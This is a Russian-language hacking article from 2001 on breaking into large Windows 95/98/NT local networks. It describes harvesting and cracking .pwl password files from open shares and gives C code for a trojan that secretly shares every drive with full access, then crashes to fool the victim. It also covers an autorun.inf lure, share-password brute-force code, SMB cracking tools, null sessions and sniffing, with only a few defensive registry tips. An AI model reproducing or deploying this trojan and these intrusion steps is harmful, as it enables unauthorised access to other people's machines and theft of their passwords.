| ||||||||||||||||
| ||||||||||||||||
| ||||||||||||||||
Технология взлома больших локальных сетей Введение В этой статье произведена попытка отследить все недостатки в системе безопасности больших локальных сетей, базирующихся на машинах с ОС Windows95/98/Me/NT/W2k, в которых администрирование сильно затруднено в связи с большой численностью машин. Приведены примеры использования соответствующих инструментов для взлома, исходные тексты автора. Так же даются рекомендации по устранению проблем.
Итак, мы в сети Поставим себя на место человека, которому все очень интересно... И с чего мы начнем? С исследования, конечно. Погуляем по сети, поглядим, где доступ только на чтение, а где и полный. Находим разные шары, доступные на чтение (например, с именем "install", "temp"), а на запись если и находим, то это что-то типа "obmen" или "income", и путного ничего там нет. А основная масса ресурсов требует пароль. Но иногда натыкаемся шары с именем "c", "d"... Это нам очень интересно. Расшаренный в корне диск, это всегда приятно. :) Пока будем действовать примитивно. Первым делом находим папку "Windows" и вытягиваем оттуда все *.pwl файлы и сохраняем у себя на диске. По названиям этих файлов, по их размеру и количеству мы уже можем сделать кое-какие выводы. Например, файл oleg.pwl ясно дает понять как зовут человека, сидящего за этой машиной. Чем больше файл, тем больше в нем сохранено паролей к ресурсам. Если файлов PWL на машине штук пять, это значит что за машиной сидит довольно много людей. Хотя может быть и то, что эти файлы создались уже давно, а на машине валяются без применения. Ведь если вы первый раз входите в систему, для вас создается новый PWL, в котором будут храниться... Что мы можем найти в PWL? Начнем вскрытие. Берем любую программу для взлома паролей и действуем согласно инструкции. ;) Что мы видим? PWL - это "копилка", в которую помещаются все пароли, которые пользователь вводит для доступа к удаленным ресурсам.
Для машин, где используется для доступа в Internet модем, это обычно так: (C) 11-Sep-1998y by Hard Wisdom "PWL's Hacker" v4.02 (1996,97,98) ~~~~~~~~~~~~~~ ¦ Enter the User Password: File '1.PWL' has size 948 bytes, version [W95osr2_Win98] for user '1' with password '' contains: -[Type]-[The resource location string]--------------[Password]- Dial *Rna\My Connection\ZZ-top XXXXXXX Dial *Rna\My Connection\ZZ-TOP XXXXXXX Dial *Rna\My Connection\ZZTOP XXXXXXX Dial *Rna\TiNET 1\ZZTOP XXXXXXXXXXX Dial *Rna\TiNET 2\ZZTOP XXXXXXX Dial *Rna\TiNET\neoxars XXXXXXX Dial *Rna\TiNET\NeoXars XXXXXXX --------------------------------------------------------------- ¦ Indexed Entryes: 1; Number of resources: 7.
Для машин, работающих в локальных сетях, например, так: File 'SANJA.PWL' has size 884 bytes, version [W95osr2_Win98] for user 'SANJA' with password 'QUAKE' contains: -[Type]-[The resource location string]--------------[Password]- Link ASH\EMAIL XXXXXX Link ASH\INTERNET XXXXXX Link ASH\RED XXXXXX Link ASH\TI_UART Dial ! crypt_Blizzard_Storm XXXXX Url/ www.xilinx.com/xilinx account XXXXXX:XXXXXX MAPI MAPI MAPI --------------------------------------------------------------- _ Indexed Entryes: 4; Number of resources: 7. Все пароли, хранящиеся в PWL, закрыты только одним паролем - тем, который вводится при входе в систему. И чаще всего его или нет, или он короткий (хотя всякое бывает). Поэтому мы легко их вскрываем и получаем доступ к другим машинам. Затем вытягиваем из них PWL и поступаем так же. И можно было бы сказать, что подбор паролей вручную морально устарел, но я очень часто успешно использовал этот метод. Так что, кто ищет, тот всегда найдет. ;) Что тут можно посоветовать? Простым вариантом будет добавление символа "$" к имени ресурса, что сделает его невидимым для всех в сетевом окружении. Чем меньше человек знают о нем, тем меньше шансов быть атакованным. Но не стоит задавать простые имена типа "C$", так как их довольно часто проверяют взломщики. Хотя это не спасает от тех, кто знает свое дело. Ведь на запрос о предоставлении списка доступных ресурсов система выдает полный список, включая и "невидимые" ресурсы. Фильтруются они уже локально. Поэтому, существует возможность воспользоваться предназначенными для этого программами, хотя бы юниксовым SMB-клиентом. А еще проще - запустите сниффер, поймайте ответ от сервера и посмотрите на него. А заставить удаленный хост прислать вам список доступных ресурсов можно командой "net view \\comp_name"
Немного творчества Ну что же? Теперь мы имеем доступ к некоторым ресурсам. Что еще можно сделать? Например, переписать, куда только можно программку, которая при запуске сделает доступными все диски и на чтение, и на запись. Называем ее подходящим именем в расчете на то, что кто-то ее запустит. Конечно, можно было бы еще долго и нудно рассказывать о троянизации, маскировании под must-have файлы, но я этого делать не буду. Это уже относится к психологии.
Вот что я написал для демонстрации данного метода. --------------------------------------------------------------------- share_info_50 shinfo50; ZeroMemory(&shinfo50,sizeof(shinfo50)); shinfo50.shi50_type=STYPE_DISKTREE; shinfo50.shi50_flags=SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST; shinfo50.shi50_remark=""; // Расшариваем 1-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP1$",LM20_NNLEN+1); shinfo50.shi50_path="C:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 2-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP2$",LM20_NNLEN+1); shinfo50.shi50_path="D:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); // Расшариваем 3-й диск lstrcpyn(shinfo50.shi50_netname,"TEMP3$",LM20_NNLEN+1); shinfo50.shi50_path="E:\\"; NetShareAdd(NULL,50,(char*)&shinfo50,sizeof(struct share_info_50)); FillMemory((VOID*)0xFFFFFFFF,1,0); // А это для того, чтобы программа вылетела "в трубу", и // пользователь подумал, что это просто сбой в системе. :) (но это // не обязательно) // P.S. Все это только для Win95/98/Me. Для NT нужно немного // модифицировать. ---------------------------------------------------------------------
Теперь на жертву можно зайти так - "Выполнить", "\\comp_name\temp1$" (это диск C). Что в этом удобного? Диск расшаривается с флагами SHI50F_FULL | SHI50F_SYSTEM| SHI50F_PERSIST, а имя ресурса заканчивается знаком "$". Это значит, что: Можете поэкспериментировать с этой программкой и поставить себя теперь на место пользователя. Вот вы увидели файл, который не вы записывали. Вам сразу хочется узнать что это, и, если файл не нужен, удалить его. Вы запускаете и видите что-то типа "программа выполнила недопустимую инструкцию". Первая мысль обычно о том, что программа просто не работает. Вы со спокойной душой удаляете файл и даже не подозреваете, что темное дело уже сделано. Все. Вы под полным контролем. Тут не поможет никакой антивирус. Попробуйте зайти с другой машины на ваши диски. Теперь не забудьте удалить из реестра эти ресурсы. Они находятся в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan. Кстати, есть еще возможность создания reg файла, который автоматически создаст необходимые ключи в реестре. Но это слишком заметно, и вряд ли пользователь попадется на такую уловку. А метод с exe файлом работает довольно успешно. Я проводил эксперименты - многие попадались. Хотелось бы еще упомянуть о возможности "заставить" пользователя запустить программу, даже не подозревая об этом, если у вас есть доступ на запись в корень диска. Этот медот основан на использовании файлов autorun.inf. (Работает метод на Win9x) Они присутствуют на большинстве CD-дисков. Вот пример такого файла : [autorun] open=autorun.exe icon=autorun.exeНам достаточно лишь строчки "open", где мы записываем имя программы, которая должна выполниться. Ложим этот файл в корне доступного на запись диска и ждем, пока кто-нибудь не нажмет "Мой компьютер --> Диск E:". Ну а если на некоторые машины вы так и не смогли попасть, можно попробовать взломать пароли удаленно перебором. Для этого даже существуют специальные программки. :) Но переборщик паролей на сетевые ресурсы по словарю я не видел и писал его сам. Вот код, который подключает сетевой диск (Win9x only):
---------------------------------------------------------------------- // на входе параметры - char *resname, char *password DWORD RetVal; NETRESOURCE nr; nr.lpRemoteName=resname; nr.dwType=RESOURCETYPE_DISK; RetVal=WNetAddConnection2(&nr,password,NULL,CONNECT_UPDATE_PROFILE); ---------------------------------------------------------------------- Немного теории При использовании такого метода в случае, когда удаленная машина Win9x, перебор ведется довольно быстро. Если же вы пытаетесь подключиться к NT, существует некоторая задержка в случае неверной комбинации имя/пароль. Но если вы подключаетесь как администратор, насколько я помню, такой задержки нет. В то же время, все попытки (удачные/неудачные - в зависимости от настроек) регистрируются в журнале событий NT. Поэтому заранее стоит подумать о том, что таким способом можно переполнить журнал - это позволит злоумышленнику уничтожить более важную информацию в логах. Но не всегда нужен перебор всех вариантов паролей. Для машин Win95/98/Me дела обстоят намного хуже. В реализации авторизации SMB-сессии Microsoft допустила ошибку, поэтому, путем написания специального эксплоита, можно получить доступ к жертве, потратив на взлом пароля, примерно, столько времени, сколько необходимо затратить на подбор одного символа, умноженного на их количество. Вы можете увидеть программную реализацию использования этой ошибки, если в поисковом сервере наберете "PQWak". Он выдаст множество ссылок на эту программу. А если же вы хотите версию программы, написанную нашим программистом, можете искать по слову "xIntruder". Эта программа, в отличие от предыдущей, понимает русские символы в именах машин. Поиграйте с этими программами и не удивляйтесь, когда за одну секунду будет взломан пароль длинной в 7 символов. А затем, чтобы спалось спокойней, закачайте официальный патч от Microsoft и раздайте всем, кому только можно. Ссылка на патчи дана в конце документа. Кстати, о багах. В системах NT4 и Win2k частенько остается непропатченым баг "NetBIOS: Null Session". Путем подстановки NULL вместо имени пользователя и пароля при подключении к сервису IPC$, можно получить доступ к списку зарегистрированных в системе пользователей, расшаренных ресурсов и др.. Устранить это можно занесением значения "1" в ключ реестра "HKEY_LOCAL_MACHINE \ System \ CurrentControlSet \ Control \ LSA Name: RestrictAnonymous "
Вышеуказанные программы работают по протоколу TCP, устанавливая соединение со 139-м портом на жертве, и вручную формируя пакеты сессий. Если же в сети используется протокол IPX, приходится сложнее. У меня пока есть планы на счет реализации этого алгоритма в программе, работающей на протоколах и TCP, и IPX. А пока приведу возможные варианты инкапсуляции пакетов SMB:
А теперь послушаем...
Нельзя забывать, что путем простого сниффинга сети можно добыть огромное количество информации, в частности, пароли. К несчастью (для большинства), во многих протоколах на базе TCP, по старинке, пароль передается в открытом виде. К таким протоколам относятся telnet, ftp, pop3 и многие другие (примечание: если у вас есть желание исследовать какой-либо протокол и посмотреть "что же там внутри", вы можете использовать для этого мой инструмент
Какие есть возможности усложнить жизнь взломщику?
Во-первых, если в вашей сети используются только NT, и вам не нужно обеспечить возможность входа с машин Windows95/98/Me, в реестре можно подправить один ключ, касающийся с совместимости с LANMAN2.1, что позволит увеличить стойкость пароля, так как стандартно в паролях NT различается регистр символов, а в Windows9x - нет (и не только по этой причине). Присвойте элементу типа DWORD "HKEY_LOCAL_MACHINE
\ System \ CurrentControlSet \ Control \ Lsa \ LMCompatibilityLevel" значение "2".
К чему все это? Снова представим себя на месте взломщика.
Маленький словарь * Расшаривать - от англ. "share".
Links Патч от Microsoft исправляющий ошибку в работе SMB сессии можно скачать здесь:
SMB вломщик -
(c) Copyright 2001. Украина, Запорожье. KMiNT21 (mailto:kmint21@mail.ru).
Статья написана специально для UInC (
|
|
| ||||||||||||||||
|